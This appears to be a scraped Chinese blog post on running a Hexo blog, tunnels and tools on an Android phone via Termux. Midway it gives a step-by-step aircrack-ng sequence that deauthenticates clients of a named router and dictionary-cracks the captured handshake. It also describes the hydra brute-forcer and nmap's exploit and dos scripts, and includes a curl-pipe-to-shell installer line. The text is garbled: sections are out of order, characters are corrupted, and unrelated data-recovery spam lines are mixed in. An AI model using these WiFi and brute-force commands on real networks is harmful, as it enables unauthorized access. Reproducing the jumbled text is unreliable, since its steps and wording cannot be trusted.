作者:admin 日期:2023-09-14 浏览: 次
旧手机不丢,创意无穷——Android手机变身博客服务器完全指南
npm install hexo-cli -g
npm install hexo-cli -g
hexo init blog
cd blog
npm install
hexo g # 生成静态文件
hexo s # 启动hexo
手机端
电脑端
2.3、开始在手机上编辑博客:
2.3.1、新建文件:
hexo new "每天必用的7个PROMPT技巧 "
2.3.2、vim 编辑文件:
vim ~/blog/source/_posts/GPT-的-PROMPT.md
2.3.3、编辑文件模式的快捷键:
i 修改模式
Esc键进入“普通模式,冒号(:)将出现在屏幕底部
:wq 写和退出
:q! 强制退出Vim,用于放弃保存修改的情况
2.3.4、 输入:hexo s ,启动hexo
更多配置:
https://hexo.io/zh-cn/docs/configuration
-r 表示递归删除,即删除文件夹及其所有子文件夹和文件
2.4、你也可以设置外网使用:
参考1:您需要注册Pinggy并订阅Pinggy Pro。然后转到仪表板,点击导航栏上的自定义域。
https://pinggy.io/
放置您想要使用的自定义域,Pinggy将提供您需要在域的DNS设置中配置的CNAME记录。设置CNAME记录后,只需单击“验证”,然后单击“颁发证书”按钮即可完成自定义域的配置。
一旦配置了自定义域,只需在Pinggy tunnel命令中使用Pinggy仪表板中的令牌:
ssh -p 443 -R0:localhost:8080 <put your pinggy token here>@a.pinggy.io
参考2:也可以选择腾讯云,注册域名:
https://www.dnspod.cn/domain/tlds/cloud
三、白客工具
输入you-get +链接,下载视频、图片、音频:
3.1 下载视频
you-get -o /storage/emulated/0/DCIM/ --itag=18 'https://youtu.be/lWv3QaJvBio'
-o /storage/emulated/0/DCIM/ 保存手机相册目录下
--itag=18 默认MP4格式下载
3.2 下载图片
you-get -o /storage/emulated/0/DCIM/ https://stallman.org/rms.jpg
手机相册 查看
更多应用,比如:
著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大.
参数 | 介绍 |
---|---|
-h | 查看帮助菜单。 |
-R | 继续从上一次进度接着破解。 |
-S | 采用SSL链接。 |
-s | PORT 可通过这个参数指定非默认端口。 |
-l | LOGIN 指定破解的用户,对特定用户破解。 |
https://github.com/vanhauser-thc/thc-hydra
airmon-ng start wlan0 开启网卡wlan0监听模式
.iwconfig 查看网卡状态,发现wlan0mon,表示已开启成功
airdump-ng wlan0mon 扫描附近WIFI
airodump-ng -c 1 -w /usr/ccdir/target_test --bssid 42:C8:9A:E4:4A:69 wlan0mon
监听路由
aireplay-ng -0 5 -a 42:C8:9A:E4:4A:69 -c 7E:6B:98:6C:CE:89 wlan0mon
对路由发起攻击
重新打开一个终端,之前的窗口继续保留,用来查看是否抓包成功
aircrack-ng -w /usr/ccdir/pass/test.txt -b 42:C8:9A:E4:4A:69 /usr/ccdir/target_test-01.cap
对包进行暴力破解
w后接的字典
mac地址后接cap包文件
Nmap
用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap的发送特制的数据包到目标主机,然后对返回数据包进行分析。
nmap --script=类别
- auth: 负责处理鉴权证书(绕开鉴权)的脚本
-broadcast: 在局域网内探查更多服务开启状况,,如dhcp/dns/sqlserver等服务
- brute: 提供暴力破解方式,针对常见的应用如http/snmp等
- default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
- discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
- dos: 用于进行拒绝服务攻击
- exploit: 利用已知的漏洞入侵系统
- external: 利用第三方的数据库或资源,例如进行whois解析
- fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
- intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
- malware: 探测目标机是否感染了病毒、开启了后门等信息
- safe: 此类与intrusive相反,属于安全性脚本
- version: 负责增强服务与版本扫描(Version Detection)功能的脚本
- vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
更多有趣的应用:
1. 安装SSH服务,远程登录你的Android手机。这可以让你通过PC登录手机进行各种操作。
2. 安装oh-my-zsh,pimp你的bash终端。可以安装各种主题,高亮,自动补全等功能。让你的终端看起来很酷。
3. 安装Vim或者Emacs,进行代码编辑??梢灾苯釉谑只媳嘈创?非常方便。
4. 安装Git,进行版本控制??梢栽谑只辖衏oding,commit,push等操作。
5. 安装Python, Ruby, Node.js等,进行脚本开发和测试??梢园咽只涑梢桓鲂⌒涂⒒肪?。
6. 安装监控工具如htop,iftop等??梢约嗫厥只腃PU,内存,网络流量,进程等信息。
7. 安装Пandoc,可以进行Markdown转换为各种格式??梢栽谑只媳嘈碝arkdown,然后转换为PDF,Word等格式。
8. 安装Clash for Android,科学上网??梢越岷蟂SH远程登录使用。
9. 安装Nginx,可以搭建一个Web服务器。结合上面提到的Git等工具,可以将手机变成一个迷你网站主机。
Termux可以让你的Android手机变得极其强大!
为了提高下载速度,更换到国内的镜像
termux-change-repo
选择“ALL IN CHINA"
为了提供网页服务,我们需要在设备上安装一个网络服务器,这将有助于我们稍后共享网站。
2.1 更新 packages:
pkg update
pkg upgrade
2.2 安装 openssh client ;Node.js;nginx;php
pkg install openssh
pkg install nodejs-lts
pkg install nginx
pkg install php-fpm
2.3 检查版本
node --version
npm --version
2.4 安装 Python
pkg install python
2.5 安装其它基本工具
pkg update
pkg install vim curl wget git unzip unrar
pkg install nano proot curl wget git tree -y
2.6 apt 安装,更多指令参考
pkg 命令向下兼容 apt 命令,只是运行前会执行一次 apt update,保证安装的是最新版本。
apt update // 更新源
apt upgrade // 升级软件包
apt install git // 分布式管理工具
apt install wget // 下载工具
apt install vim // vim编辑器
apt install tar // 解压缩工具
apt install less // termux下vim支持触摸移动光标移动位置
pkg search <query> 搜索包
pkg install <package> 安装包
pkg uninstall <package> 卸载包
pkg reinstall <package> 重新安装包
pkg update 更新源
pkg upgrade 升级软件包
pkg list-all 列出可供安装的所有包
pkg list-installed 列出已经安装的包
pkg show <package> 显示某个包的详细信息
pkg files <package> 显示某个包的相关文件夹路径
3、更换程序界面配色
sh -c "$(curl -fsSL https://github.com/Cabbagec/termux-ohmyzsh/raw/master/install.sh)"
Enter a number, leave blank to not to change: 14
Enter a number, leave blank to not to change: 6
颜色更换后:
更多补充
a、手机没有 root
pkg install proot
termux-chroot
可以模拟 root 环境,在这个 proot 环境下面,相当于是进入了 home 目录
输入 exit 可回到普通用户身份
pkg install termux-api
也可以使用nano编辑器从终端编辑网页
常州数据恢复
现在启动http服务器
npx http-server &
马鞍山数据恢复
栖霞数据恢复